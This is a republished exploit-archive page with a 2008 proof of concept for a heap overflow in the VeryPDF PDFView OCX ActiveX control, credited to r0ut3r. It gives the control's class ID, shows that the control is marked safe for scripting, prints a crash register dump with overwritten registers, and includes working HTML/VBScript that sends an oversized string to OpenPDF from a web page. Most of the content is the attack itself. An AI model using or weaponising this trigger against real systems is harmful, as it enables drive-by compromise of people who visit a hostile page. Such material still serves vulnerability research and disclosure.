|
VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow PoC
|
|
来源：www.bmgsec.com.au 作者：r0ut3r 发布时间：2008-11-17
|
|
<!--
VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow
Discovered & Written By:
r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
Advisory: http://www.bmgsec.com.au/advisory/39/
---------------------------------------------------
Tested on: WinXP Pro SP2
Version: 2.0.0.1
GUID: {433268D7-2CD4-43E6-AA24-2188672E7252}
RegKey Safe for Script: True
RegKey Safe for Init: True
EAX 0003C910 ASCII "AAAAAAAAA""
ECX 000301D0
EDX 00000040
EBX 41414141
ESP 0013B8D8
EBP 0013BAF4
ESI 0003C908 ASCII "AAAAAAAAAAAAAAAAA""
EDI 41414141
EIP 7C91B3FB ntdll.7C91B3FB
-->
<object classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252' id='target'></object>
<script language='vbscript'>
Sub Boom
buff = String(1006, "A")
target.OpenPDF buff, 1, 1
End Sub
</script>
<input type=button onclick=Boom() value='Boom?'>
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
